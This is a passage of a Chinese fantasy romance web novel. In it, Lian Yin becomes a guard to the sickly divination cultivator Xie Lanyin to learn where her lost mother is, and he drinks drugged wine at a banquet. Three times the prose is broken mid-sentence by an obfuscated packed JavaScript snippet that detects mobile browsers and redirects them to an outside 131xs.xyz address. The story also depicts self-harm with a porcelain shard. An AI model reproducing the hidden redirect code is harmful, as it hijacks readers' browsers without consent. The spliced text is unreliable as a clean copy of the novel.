连音提醒道:“对了,你说要帮我找人,我们什么时候去见你说的那个人啊?” 她要赶紧问完消息离开,然后提醒谢随把脑子治好。 谢随见她提起,正好说道:“明天,我今晚已经去提了这事,你明天就可以见到他了,不过你只能问一个问题。” 连音理解地点点头。 智道源于天机,他们每算一次都有代价,不像寻常法术只耗费灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834878|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。 “那我们赶紧逛,逛完早点回去,你不要再买东西了!还有,明天什么时辰?” “最后一句话才是重点吧?” 连音笑道:“是啊,被你发现了,这么聪明!” 因为事情有了进展,连音今晚倒霉的坏心情一扫而空,她现在非常高兴,非常期待明天! - 第二天上午,谢随就带着她去见那位智道修士了。 地点在一处很漂亮的宫殿。 符合连音对智道修士的刻板印象,待遇特别好。 宫殿内部的建造十分复杂,谢随可能是想担心她没见过世面,边走边同她讲起这处宫殿中的奇观美景。 连音边听边跟在谢随后面穿过前庭、外庭、长廊……一路上奇花异树,目不暇接,好像每一样抓人眼球的东西都有大有来历。 连音听得晕乎乎,就跟知识过了脑袋却进不去一样,无聊又不知所云,她建议道:“你不如讲讲这里住的人?” 谢随沉默了一下,说,“这里住着的人应该算我堂弟?听说他从出生起就疾病缠身,那些医修都没办法,虽然是个弱不禁风的病秧子,但在智道上却表现出了绝世天赋……” 他忽然笑了一下,“说起来,你们在名字上还挺有缘的。” 连音不明所以:“名字?” “嗯,他叫……” 前方转过一个拐角。 温暖的阳光直照而下,绕过了遮挡视线的花花草木,连音看见了昨夜的少年。 他今天穿得有些正式,黑色缎面的宽袖外袍,鎏金的图案映着微闪的日光,里衬是一件鲜艳的红,两种浓烈到极致的颜色与少年本身具备的苍白,融合出了一种异常惊人的美感。 他单手撑着脑袋,姿态闲适,如一只慵懒的大猫趴在桌上,日光将他的眼睫镀上暖边,震颤的凤尾蝶停在他苍白而修长的指间,一个与眼睛平视的位置。 “谢澜音。” 像是听到声音,他轻轻转过头,长发如金丝般流动垂落,紫罗兰色的眼睛映出廊下走来的二人…… 准确来说,只有一人。 空气中逆光飞舞的尘埃安静而缓慢。 少女走在廊下,身体有一半覆盖在廊桥的阴影里,亮起的裙摆在阳光里微微摆动,色彩鲜妍如早春的新柳。 10. 第 10 章 竟然是他? 连音见到昨夜的少年,不禁停住脚步,心中暗道不妙。他该不会记仇昨晚的事情,故意不帮她吧? 可能是第一印象太差了,连音主观地觉得,谢澜音像是那种会整蛊别人,故意给人算错的那种坏蛋。 连音目光悄悄落在谢随脸上,他看起来也不像讨厌那个金发少年的感觉,所以他是单方面被讨厌了吗? 连音思绪混乱,听见谢随说:“走啊,你站这么远怎么讲话?” 谢澜音轻轻笑道:“是啊,过来坐吧,我不吃人的。” 连音:“……” 见二人走到跟前,谢澜音收回视线,手指微动,指尖的凤尾蝶便扇动着翅膀飞了起来,“还真是巧了,没想到有人昨夜要杀我,今天就要找我帮忙……” 连音脚步顿了一下,就知道这人不会假装没事发生的。 谢随坐下问道:“谁啊?” “你不知道啊?”谢澜音有些诧异,随后又笑了一下,说,“你不知道就算了。” 谢随:“?” 算了的意思是不打算提昨晚了吗? 连音一边猜测他的意思,一边来到桌边仅剩的位置坐下。 这张石桌很小,容纳下三个人后就显得有些拥挤。 连音甫一坐下,便闻到一股好闻的香味,她转过头,视线正好撞上谢澜音看过来的眼睛。 日光下晶莹剔透的紫罗兰,很温柔漂亮的颜色,微微笑起来,却又像女巫手里摇晃的毒药水,那么潋滟危险。 连音顿时有种被蛇类盯上的不适感,她默默地移开了视线。 下一秒,耳畔响起一声轻笑。 “昨天还把我按在床上呢,怎么今天就不敢看我了?”谢澜音对上她重新转过来的眼睛,神情无辜,“是因为有人在,所以要和我避嫌吗?” 他语气里带着松松散散的笑,暧昧得像是在撩人,而不是敌人。 连音:“……?” 不是说算了吗? 连音昨夜就领教过他造谣式的说话风格,没想到他今天当着谢随的面依旧这么肆无忌惮。 连音看着旁边谢随惊讶的表情,看来他真的什么都不知道。 连音开口道:“昨晚的事情和我没关系,是你先把我困在杀阵里,逼我对你动手的,别把话说得这么奇怪。而且……” 连音深吸一口气说:“你昨天坐的那个充其量就是椅子,不算床,你别张口就来了!我也没压过你。” 谢澜音慢悠悠道:“哦,这么着急解释啊,看来你很怕少主误会我们了。” 谢随也反应过来:“昨晚你说那个人就是他?” 连音点了点,不想再搭腔谢澜音的话。 谢随显然更相信她,安慰道:“他讲话一直都这样的,不用放在心上。” 谢澜音瞥了眼谢随:“我们不熟吧?” 谢随说:“嗯,我们确实不熟。” 连音:“……” 他是不是没有发现自己被怼了啊? 谢澜音似乎失了兴致,看向连音,开门见山道:“想问什么?说吧。” 连音先将前置情况大致讲了一下。 “我父母失踪很久了,魂灯也灭了,大概率是陨落了,我想请你帮我算一下他们现在在哪里?” “你只能选一个。” “算我娘的位置。” 谢澜音问清楚了后,朝她伸手,“手给我。” 智道推算位置需要媒介,她是世界上唯一与她父母关联之人了。 连音将手放到了少年的掌心,有些凉,很快,她的手便被握紧。谢澜音闭上眼睛开始推算。 良久,他睁开眼,对上连音满怀期待的眼神,淡淡说出答案,“算不到。” 连音微愣了一下,抓住他想要收回的手,问:“你是不是记恨昨晚的事情,没有认真算?” 谢澜音说:“一码归一码,我没那么小心眼。” 连音追问:“那为什么算不到?是你算不到,还是因为别的?” 谢澜音也没生气,耐心地说:“算不到的情况也分很多种,比如我能力不够,再比如她现在所在的位置还没出现在世界上。懂吗?” 连音沉默。 谢澜音看着少女失望的神情,补充道:“后者的情况有很多的,有些地方就是会时而出现,时而消失……你可以让我算她的陨落之地是不是还没出现?” 连音正想说话,谢澜音又遗憾地说道:“不过可惜,你只能问一个问题,这是第二个问题了……嗯,问完后你可能还需要第三个问题……第四个问题……怎么办呢?” 连音反应过来了,这个人根本就是在耍自己!她生气地松开他的手,站起身就想走。 谢随拉住她:“再等等,他这话的意思是可以谈。” 连音很想硬气地说,不需要他! 但是智道修士又不是地里的大白菜,外面还有很多打着智道修士名号骗钱的神棍呢,过了这村可能就真没这店了。 连音坐了回去,问:“你想怎么样?” 谢澜音盯着少女微微泛红的眼眶,心想自己是不是把人欺负的太狠了? 他抬起缠着纱布的手,里层的纱布已经被血水浸染,透出一点红,慢悠悠地说,“我昨晚受伤遇刺可是事实……” 连音一眼认出这是自己包扎的,原来他回去没找医修吗?还真是没苦硬吃,活该! 谢随问:“你想要什么补偿……” “不需要,”谢澜音看向连音,装模作样地叹了口气,说,“之前那些护卫竟然让我在众目睽睽之下差点遇刺身亡,一点用都没有,我想将他们都遣散了换一个能干的,你觉得怎么样?” 连音说:“你把人拉到你的杀阵里……” 说到一半,她忽然反应过来,他想换一个能干的,不会是指让自己给她当护卫吧? 谢澜音笑起来:“怎么样?要不要考虑一下?只要你答应,我就可以帮你算第二个问题。” 连音:“……” 她已经想象到给他当护卫的生活了,每天都像昨晚一样,那未来每天都要高血压了吧…… 而且她现在明面上境界又不高,他叫她去给她当护卫,那是需要护卫吗?完全就是报复她吧? 连音还未说话,谢随先道:“不能换一个吗?” 谢澜音遗憾地说,“不能呢,如果不行就算了,你们另请高明吧。” “其实也不是不能谈。”连音说道,“总不能因为一个答案就我永远要给你卖命吧?而且你也说了一个问题不够——” 谢澜音说:“是啊,一个问题不够,但是你和我在一起后,总有机会让我帮你算的……”他笑了一下,说,“我人很好的,你要不要试试?” 连音:“……” 他人好个屁啊。 谢澜音又说:“至于为我卖命,时限不会是永远的,你问完你想要的答案,不需要求助我了,你就可以走,还有就是……” 连音说:“我答应你,那你第二个问题也要今天就给我算,马上!” 谢随道:“他一天……” “行啊。”谢澜音答应了,又看向谢随,“好了少主你可以回去了,她以后是我的人了,住我这里了。” 谢随:“……” 怎么莫名其妙就被排除在外了? 谢随看向连音,像是要交代什么。 连音说道:“我有分寸的,放心,我不会伤害你们家智……” “不是怕你伤害他。”谢随拍拍她说,“我想说的是,我们是朋友,你有事情可以找我,我会尽量帮你的。如果这条路行不通,我再帮你想别的。” 连音怔了一下,觉得谢随人还怪好的…… 当然,他也不是第一次人还怪好的了。 视线追着谢随的背影消失在尽头后,连音转头道:“你快给我算!” “好。”谢澜音又恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834879|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复了先前那副懒散的态度,朝她伸手,“到底谁是护卫啊,这么凶我?” 连音伸手过去:“这个问题以后。” 她要先拿了工资才开始干活。 谢澜音又算了一次,告诉她答案,“她的陨落之地还没出现。” 连音总算吞下一颗救心丸,安定下来。 “下一个问题是,她的陨落之地什么时候会出现。”谢澜音对上她抬起的视线,笑着说,“好好表现,我心情好了就告诉你。” 连音问道:“你刚才为什么不直接给我算第这个问题?第二个问题完全就是可有可无吧?” 谢澜音赞同地说道:“是啊,第二个问题完全就是废话,没有任何意义,你竟然真的要我算,浪费了一次机会呢。” 连音:“……” 当护卫的第一天就想揍老板了,她从来没有这么想揍一个人过。而且对方看着真的很像一拳就倒的样子。 算了,还有事求他,找智道修士帮忙,这个价格在外面根本找不到了。只是受点气怎么了? 连音轻轻吐出一口气,正要说话,忽然一道微小的气流拂过脸颊。 她转过头,一双颜色亮丽的翅膀正在眼前晃动,是之前飞走的那只凤尾蝶。 谢澜音抬起手,接住了这只飞舞的凤尾蝶,拂过来的风里陡然掠过一抹香,清幽绵长。 连音看着面前这只过近的手,感觉眼前的空气似乎都带着他的温度,她不动声色地拉开了一点距离,坐远了一点。 谢澜音望着蝴蝶,语调散漫,“你说,蝴蝶是喜欢我,还是飞不出去了,才回来找我?” 考验情商的时候到了,连音回答说:“喜欢你。” “那你呢?”谢澜音望向她的紫眸里落了光,嘴角轻轻勾起,“你要当我护卫,是因为喜欢我,还是因为别无选择?” 连音:“……” 情商上讲,她应该迎合老板的话,但谢澜音一副没什么下限的模样,真迎合他了,谁知道他下一句话会蹦出来什么? 连音停顿了一下,还是抛弃了情商:“别无选择。” “嗯,不错,你很诚实。”谢澜音很高兴地说,“我喜欢你。” 连音听到他最后一句话时不由愣了一下,但很快就自我调理好了。 谢澜音明显也是把“喜欢”这种话挂在嘴上当家常便饭的类型,人与人之间的相似处很多,这种捕风捉影的证据比比皆是,不稀奇。 连音问道:“那能算第三个问题了吗?” 谢澜音微笑着抬起那只受伤的手给她看:“身体不舒服,暂时算不了。” 连音视线聚焦到他手上,问道,“你没有找医修吗?” 谢澜音顺着她的视线看向隐约渗血的纱布:“嗯,没找,特意等你过来重新包扎的,给你机会表现。” 他语气自然,朝她伸出受伤的手,笑着问,“我好吧?” 一瞬间,那种若有似无的即视感又出现了。 连音发现自己第一眼讨厌谢澜音可能还有个原因,除了他本身特别讨厌外,他还很像陆影。 都是错觉。连音强行压下怪异的感觉,说道:“我们还是去看医修比较好吧?这样伤好得快,只是包扎好得很好慢的。” “找医修的话,你就没办法每天帮我包扎,没办法每天在我面前表现了。”他眼睫低垂,缓慢解开了一层层缠绕的纱布,语气很轻,“而且我不喜欢看医修。” 他似是想起什么,补充道,“谢随刚才不是和你说过吗?我是一个病秧子,可能一点细小的伤口都会引发病症,变得很严重。” “这里只有你和我。”谢澜音一副很替她着想的模样,道,“你要加倍用心地看着我,照顾我,别让我不小心死掉……你要是让我死了,我没什么关系,你怎么办呢?” 连音:“……” 连音站起身道:“走吧,包扎伤口的事情已经刻不容缓!你还走得了路吗?需要我抱你吗?” 11. 第 11 章 谢澜音看着她,问:“你很想抱我吗?” 连音:“……” 有被无耻到,他不会还真需要她抱吧? 连音微笑着说:“我只是想看看你是不是真的这么厚脸皮。” “哦,原来不是真心想抱我的呀。”谢澜音说,“那算了。等你真心想抱我的时候,我再让你抱吧。” 连音:“……谢谢,不会有那一天的。” 谢澜音站起身道:“走吧。” 连音正等着他带路,却见谢澜音就这么不动了,连音提醒:“我第一次来你家,我不认路。” “嗯。”谢澜音朝她伸出没受伤的那只手,说,“扶我。” 连音:“……你是娘娘吗?走路还需要人扶?” 谢澜音垂下眸,轻声说:“头晕……等会容易摔……” 连音立刻就扶了他。 谢澜音说错了,这份工作完全就不是护卫,而是集护卫,奴才,宫女于一体的究极牛马工作吧? 谢澜音的手很凉,不知是否错觉,他的体温比刚才还低了一些。 连音要扶着他走就必须要和他挨得很近,少年的身材高瘦,距离近了后,他衣上的薰香气也变得浓郁起来,流连在空气里。而他落在她手上的重量也像空气里的香那样,那么轻飘飘。 并不是矫柔造作,而是他可能真的需要扶。 连音不知为何突然冒上这个猜想,心中对谢澜音的恶感悄悄削减了一些。 然而没走两步,谢澜音忽然就晕倒了。 在谢澜音身体倒过来的那一刻,连音先是愣了一秒后,眼看着人就要砸在地板上了,她又手忙脚乱地将人抱住。 他好瘦…… 连音脑海短暂划过这三个字,随后低头检查他的状况。 “谢澜音?” 连音伸手碰他的额头,手掌之下的温度烫得吓人,转过来的脸上也泛着不正常红晕,呼吸浑浊而沉重。 很明显是生病的症状。 得找医修吧? 但是这宫殿这么大,医修住哪里?出口住哪里?他不会真的会病死吧? 连音扶着人在旁边靠下,一边拿出了玉简给谢随发消息,没想到这么快就要找他帮忙了。 谢澜音如果真的会病死,问不到问题事小,谢家少了个智道修士事就大了,恐怕她也要跟着一起死了。 那边的谢随很快就回道:“他晕倒了?人没事吧?” 连音:“嗯,晕倒了,但是我没让他摔在地上,他现在额头很烫,身体很凉,会死吗?” 谢随:“你好好照顾他吧,先别找医修了。恐怕是因为今天给你算了两次才晕的,要是被医修查出去告诉家主可能会有麻烦,会牵连到你。” 连音愣了一下。 谢随:“我还有事先忙了,你等他醒来问问他吧。” 连音收起玉简心情有些复杂,原来是因为自己问了两次,所以他才把身体透支了,晕倒了吗? 说起来,他手上的伤也是因为她……但是这些不都是他活该吗? 手上伤是他自己作的,给她算两次也是他自己答应的,他也没说自己会晕,说清楚了她会不通容吗? 好险,差点就被绑架到了。连音松了口气,打算扶谢澜音去房间休息,但是她并不知道他房间在哪里啊。 于是连音再次拿起玉简。 “他房间在哪里?” 谢随:“?” 谢随:“你真当我什么都知道吗?” 连音回过神,自己也笑了下,这个问题太莫名奇妙了,确实。 她收起玉简正打算带谢澜音随便找个房间躺下,转过头却对上了他睁着的眼睛。 连音连忙收起笑,解释道:“我不是在笑,没有幸灾乐祸,我刚才在问你住哪里呢。” 谢澜音不说话,只是看着她的眼中雾气加重,逐渐溢出几分湿意。 连音有些慌了,“你别哭啊,你告诉我住哪里,我先送你回去!” 难道她越解释越像此地无银三百了吗? 好在谢澜音并没真的哭,给她指了个路。 连音也不可能让他继续走路了,便将人背了起来。她是剑修,虽然她的剑不重,但是她还蛮有力气的。 连音边走边问:“你需要看医修吗?需要的话我待会帮你去找。” 谢澜音说:“不看,别找。” 连音记下了,又问:“那你等会要喝水吗?有药需要帮你煎一下吗?” 谢澜音说:“……都不用,别问了。” 连音将人扶到床上后,看着谢澜音睡着,也可能是重新晕过去了,连音打算去烧壶热水。 她刚抽回手,手腕处的肌肤忽然贴上来一片滚烫的温度。 谢澜音忽然醒了,他望过来的漂亮眼睛有些雾蒙蒙,“你要去哪里……” 连音说,“我去烧热水。” “烧热水……”谢澜音声音喃喃地念了一遍这三个字后,像是有些不清楚含义。 连音耐心地说:“口渴了要喝的东西,我口渴了我要喝,你渴了,你也要喝。” “你要喝……”他慢慢松开了手,看着她,“嗯,你还会回来吗?” 病了倒是挺乖的。 连音将他的手塞回被窝里,说:“当然了。” 毕竟烧水是给他喝的嘛,生病了就该多喝热水。 连音问了厨房位置,用法宝加热了烧水的速度,很快就回来了。谢澜音还醒着。 连音给他喂了一点水。 谢澜音喝完后,问她,“你可以不走吗?” 近乎撒娇的语气。 连音对上他湿润又微带哀求的眸光,顿了下,猜测他多半是烧糊涂了,将自己当成了什么亲近的人。 她小时候也是体弱多病的体质,两辈子都是,但现在养好了。也许是自身的缘故,连音很懂身体不好的痛苦,也愿意对生病的人多几分耐心和宽容。 连音说,“嗯,你睡吧,我不走。” 见谢澜音视线垂向拉住的手,连音说:“我不会松开的。” 谢澜音像是不相信地又看了她一会,才缓缓合上眼睛,微垂的眼睫沾着一点泪。 连音看着谢澜音合上眼睛缓缓陷入熟睡,思绪飘忽了一会儿,抽出手离开了。 牛马也是需要下班的,她也得睡觉啊! 差不多照顾一下得了,总不能真不眠不休照顾别人吧? 接下来的三天谢澜音都在养病,可能是病中不情愿的时刻被自己看到了,谢澜音清醒过来后对她有点针对,总喜欢指挥她做了很多琐碎的麻烦的事情,让她跑来跑去。 偶尔视线对上,谢澜音还会说一些意味不明的话,比如,“看我生病你是不是很高兴?” 连音:“?” 再比如,“你是不是很讨厌我?” 连音:“??” 还比如,“有求于我,还要骗我。” 连音:“???” 她在他嘴里都快成十恶不赦的大坏蛋了。 连音觉得很冤枉:“高兴的事情我解释过,好吧,我那个时候笑确实不对。讨厌你……” 这个还真有。 连音略顿了一下,违心地说:“我怎么会讨厌你?我很感谢你给我这个机会的。至于骗你,什么时候的事情?” 谢澜音盯了她一会儿,见她像是真的不知道怎么得罪自己了,放弃道,“算了。” 连音:“???你别算……” 谢澜音说,“我今天要出门,你和我一起。” “哦。”连音点了点头,问,“什么时候?你身体没问题吗?” 谢澜音说:“现在,死不了,能活到给你算完问题的时候。” 明明是他提出来的条件,说得好像她利用了他一样,就连关心也要被扭曲用意。 连音觉得他应该是还在生气,有些担心这次出门谢澜音不会是换个地方折腾她吧? 思绪间,目的地到了。 远处的宴厅早已经布置妥当,远远便能望见许多人。 连音跟在谢澜音身后,一路上受到许多眼睛的注视,那些隐藏在打量之下的不善目光,让她脊背有些凉飕飕的。 她是第一次和这些人见面,他们怎么会对自己抱有这么强烈的敌意呢? 连音心下奇怪,但唯一认识的谢澜音又不安好心,也没有人给她解惑。 走过前庭,陆续开始有人走上前与谢澜音搭话,对他的病情嘘寒问暖。 智道修士能够推演天机,就算人坐在家中也可以算到千里之外的事情,因此走到哪里都格外受欢迎。 不一会儿,谢澜音的身边就挤满了人,甚至把连音都挤出去了。 谢澜音大病初愈,平日家里安安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834880|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静的连个人都没有,一下子被这么多人围着,他不得难受死了? 连音还记得自己护卫的工作,正要挤上前解救自己病弱的老板,背后传来一道温和的声音。 “连音姑娘。” 话音落下的同时,肩膀被人轻轻拍了一下。 连音转身看去,是一个陌生的男子,五官温润,此刻正抿着唇冲自己笑,看着挺和善的,就是不认识。 连音疑惑:“你怎么知道我的名字?” “听少主提起过。”男子微笑着自报了家门,“我叫谢松林。” 连音疑惑,听谢随提起? 连音不清楚这人的来意,也没有交友的打算,打算结束话题,“我还有事……” 谢松林先道:“澜音一连病了几日,现下大家都有事要找他,恐怕一时半会顾及不到连音姑娘,我担心你等得无聊,就想着来喊你一起说说话。” “不用了……”连音边婉拒边侧头去看被簇拥在人群中的谢澜音,有些意外的是,他脸上并无任何不耐烦,反而挂着浅淡的微笑。 连音想到谢随对他的评价,难道谢澜音其实很擅长和别人打交道? 连音看过觥筹交错的周围,势力庞大的家族内部都有派系之争,谢澜音可能就属于哪一派的,他生病缺席了好几日,可能今天就是专门来应酬的。 连音现下确实不应该再挤进去了。 “连姑娘。”谢松林伸手试图揽过连音的肩膀,却被避开。 连音对他先前拍肩膀的动作就不太舒服,现下看他的眼中更是升起警惕,“你干什么?” 谢松林也不尴尬,微笑着继续去拉她:“去我们那边坐坐吧?” “你别拉我。”连音皱着眉继续往旁边躲,边上却又缠上来一名少女,她直接抱住了连音的胳膊,亲热地挽着她笑,“走吧,在这里站着多无聊呀。” 连音想挣脱,少女却抱得很紧,硬拉着她往一大桌子人的方向走去。这桌人里就有先前看她目光不善的那些人。 连音猜到这两人不怀好意了。 但宴席上闹事可是大事,真动起手来她又不占理,更何况这还是谢家的地盘,就算占理也没用。 连音只能跟着他们过去,先看看他们想干什么。 原本正在说说笑笑的一桌子人见连音来了,都纷纷站起身,热情地迎接。 有人递给她一杯酒,道:“连姑娘,听说你救了我们少主,这可得好好感谢你啊!你不会不给我这个机会吧?哈哈!” 此言一出,其他人纷纷端起酒杯附和道:“是啊,连姑娘,我也要敬你一杯!这可是上好的佳酿,你快尝尝看呀!” 连音直觉事情没那么简单,她拒绝道:“我不会喝酒……” “没事!这佳酿不醉人的,很适合小姑娘喝!”那人说着,又将酒杯送进了一些,双眼直勾勾地盯着连音,像是迫不及待要将这杯酒灌入她嘴巴里。 四面八方的男男女女形成一堵人墙,举着酒杯,将连音围在里面。 “什么酒这么好?非逼着人喝?”忽然一只苍白的手越过高耸的人墙,接住了她面前酒杯。 连音转过头,发现谢澜音不知何时站到了自己身后。 周围人见谢澜音过来,脸上神情微变,又很快笑道:“这宴席是由大夫人操办的,东西自然都是最好……” “是啊,我们招待连音姑娘也是好意……” “是吗?”谢澜音目光扫过众人,微微笑起来,问,“里面没加东西吧?” 众人神色一僵,脸上表情纷纷难看了起来。 智道修士都是智多近妖的怪物,在他们面前说谎几乎没可能,没准这谢澜音就是知道里面有东西才故意问他们呢。 他们都将话点的这么明白了,偏偏这谢澜音还不给面子,众人心中生气,但也无人敢站出来得罪他。 一时间周围鸦雀无声,没人敢答话。 连音看他们表情就知道这酒肯定有问题。 谢澜音慢悠悠地移动酒杯,朝众人做了一个举杯的动作,“不过我想,应该也没人会在大夫人操办的宴席上做手脚的,对吧?” 众人以为谢澜音这是准备给他们台阶下了,心中压力一轻,立刻笑着应声道:“是啊是啊,怎么会……” 忽然下一秒,所有人的笑容都僵在了脸上。 ——谢澜音把那杯酒喝掉了。 12. 第 12 章 连音愣了一下,连忙转身拉住谢澜音:“你干什么?这酒明显有问题啊!你别喝,快吐出来!” 谢澜音信手放下一饮而尽的空酒杯,握住连音来拉自己的手,笑道,“怕什么?他们都说了没问题。” 众人神情尴尬,互相交换眼神……这次是真没人敢说话了。 谢澜音带着连音离开了,他们并没有回到宴席上,而是沿着一条小路往外走。 离开众人的视线后,谢澜音唇边的笑意慢慢淡了下来,“我一转头你就跑去和他们喝酒?知道这是哪吗?” 就算连音是不愿去的,但事实就是她擅离职守被拉去喝酒了,给他添麻烦了……但眼下这个根本不重要! 连音焦急地问道:“你刚才喝的酒有没有问题吗?你现在难受吗?” 谢澜音原本心中是堵着一口气的,很不高兴,但对上少女映着自己的关切眼眸,那些竖起的尖刺又一根根软化下来。 但还是生气,他才不会这么轻易原谅她。 谢澜音惜字如金地说:“有问题,难受,你要管我吗?” 这种似曾相识的问句让连音迟疑了。 察觉到她的犹豫,谢澜音心中又烦躁起来,恰在此时刚才喝下的酒发作了。 觉察出他们在酒里加了什么东西后,谢澜音神色瞬间阴沉得可怕,加快了脚步往前走。 连音被拉着走了一阵后,问:“你生气了吗?” 谢澜音回答得很快:“没。” 但话里话外的情绪怎么都说不上高兴。 连音说:“你看起来好像不太高兴……” 谢澜音停住脚步,侧头问:“你要和我接吻吗?” 连音愣了一下,只觉得他的每个字都变成了小烟花,在脑袋里炸开。 ……这人在说什么? 怎么每个字意思都懂,连在一起就让人听不懂了呢? 连音看着他被酒液微微沾湿的唇上,有些晶莹,唇色是很浅淡的粉色…… 谢澜音也察觉到她视线的落点,微微倾身—— 他身上散发的气息与醉人的酒香混合在一起,让周围的温度都升高了几许,底下肌肤相触的手掌更是滚烫异常。 连音连忙移开视线,有些尴尬:“太突然了吧?” 谢澜音淡淡地说,“不要算了。” 他松开牵着的手,独自走在前面,但也没有冷淡她的意思,而是很好心地给她讲起刚才宴席上那群人为什么刁难她。 他已经完全从刚才那一句话里抽离出来了,连音却还陷在那种尴尬的情绪中。 接吻,他经常和别人说这种话吗? 还是故意…… 连音努力将注意力放到谢澜音现在的话上。 原来今天这群谢家修士故意针对她是因为谢随,早在她到昭阳城之前,他们就听说了谢随在外面有一个救命恩人,谢随对她关照非常。 传着传着就变成了少主带回来一个来历不明的女人,她手段了得,他们恩爱非常。 谣言真可怕。 连音忽然恍然一件:“所以你那天在画舫上就知道我是谁,才故意刁难我?” “不是。”谢澜音很烦,这具身体对药物有抗性,药效发作比较慢,不至于猛烈得让他当场失态,但也很让人心烦。 尤其是她还在他的身边,听到她的声音烦,听不到更烦。 谢澜音见她不说话,又道,“我做什么和别人无关,只要觉得高兴就会做,和任何人都没关系。” 连音听着谢澜音的话,脑海却浮现了另一个人的声音。 【有什么好后悔的,我想做什么事情就会直接去做,想得到什么也一定要得到,在决定做一件事的那一刻起我就已经得到了报酬,因为我高兴,和任何人无关。】 少年的最后一句话与眼前人重叠,整体的意思也相差不多…… 忽然,走在前面的谢澜音回过头,很不高兴地问,“你在想什么?” 连音走神被发现了有些心虚,并且她还很不礼貌地将人幻视成了死掉的前夫?实话实说是不可能的。 连音电光火石间想好了回答:“我在想刚刚那杯酒……”她关心地看着他,“你现在有没有哪里不舒服?” 又不管他,那关心他做什么? 谢澜音心情好了点,嘴上说:“浑身都不舒服,马上就要死掉了。” 连音:“……” 谢澜音转过身继续快步往前,不再和她说话。 小路的尽头是一间无人的湖中居。 谢澜音走进去,随便坐到一张榻上,看着刚进门的连音,冷冰冰地问:“你跟过来做什么?” 少年的脸庞沉在阴影里,看不清表情,但不用猜也知道他是在发脾气。 人家刚帮她解围,喝了一杯不知道加了什么料的酒……事情是因她而起的,她之后还要请他帮忙,先哄一下吧。 连音走上前,好声好气地说:“你别和我生气了,你对我有哪里不满意的,你说,我改,我给你道歉行不行?” 谢澜音见她靠近,轻轻别过头,呼吸有些急促。 他沉默了半晌,像是强忍着不适般,说道,“你出去。” “你……”连音听出了他状态不对,想要查看,手却被拂开。 “别碰我。”谢澜音气息乱得厉害,微屈的身体都有些颤,像是在疼。 他该不会是毒发了,所以赶她走吧?连音越想越觉得有可能。 “你先别和我闹脾气了。”连音说着,手底下动作强势起来,按住不情愿的谢澜音,“你不舒服就……” 在看清他脸的那一刻,连音余下的话都卡在了喉咙里。 谢澜音苍白如雪的脸上泛起艳丽的薄红,望着她的一双紫眸潋滟若春水,看来不像中毒,更像是是中药了…… 谢澜音触及她突然怔住的眸光,开口,声音是气若游丝的轻,“你不想亲我就出去……” 连音一下子就明白过来那杯酒里加了什么,按着他的力道瞬间轻了些许,逐渐松开。 就这么出去吗?他一个人不会有事吧? 连音脑海乱糟糟的,心中总觉得现在离开不好……但…… “不走吗?”谢澜音见她不动,眸中慢慢浮起薄冰,将先前脆弱的神色替代。他唇角微勾,嘲讽笑道,“还是你想留在这里,看我怎么发、情?” 连音瞬时站起身,“……对不起。” 她有些尴尬地低声道,“你好了叫我,我在外面帮你看着。” 见她转身当真要走,谢澜音眸中瞬时闪过一抹气恼与怨恨,脸上笑意消失得一干二净。 连音正要迈出门,背后忽然响起瓷器坠地的破裂声响。 她回过头,谢澜音正将一块不规则的碎瓷片握在手中,一股股细密的血痕从他紧握的指缝间流出,染红雪白的瓷片,割开苍白的手腕…… 连音眼皮一跳,迅速回到他面前,阻止他继续自伤的行为,“你干什么?” 连音皱着眉想从谢澜音手里夺过瓷片,但谢澜音却直接将瓷片用力握在掌中,像是与她较劲。 连音很头疼,“这是你的身体,你不疼吗?你不要总是伤害自己。” “是啊,这是我的身体。”谢澜音轻轻笑起来,望着她的漂亮眼睛里装满了冷漠,“所以你回来干什么?不是对不起,要走吗?” 他周身散发着拒人千里之外的冰冷,但眼底透出来的情绪却又像是难过的挽留,他的肢体在叫嚣着,让她亲他…… 他是矛盾而又激烈的结合体。 美丽,危险,不稳定。 连音注视着那双与自己针锋相对的眼睛,觉得好莫名其妙,他为什么会想要她亲他……她又为什么会被吸引,想要探究。 他为什么对她抱有这么浓烈的感情,她又为什么能解读出这些含义。 连音俯身,轻轻吻在了少年的眉间。 她捧住他的脸,低眸对上他轻微发颤的瞳孔,似如望见里面的碎裂的冰山,它的崩塌与坠落都潜藏在颜色绮丽的紫色暗河之下,那么悄无声息。 “你乖一点好不好?”连音手指轻轻拂过他仰起的脸,一点点吻过那宛如造物主偏心的五官。她手掌沿着他紧绷的手臂往下滑,取走了他掌心有些黏腻的碎瓷块,丢了出去。 其实根本没有什么征求他意见的必要,这么近的距离 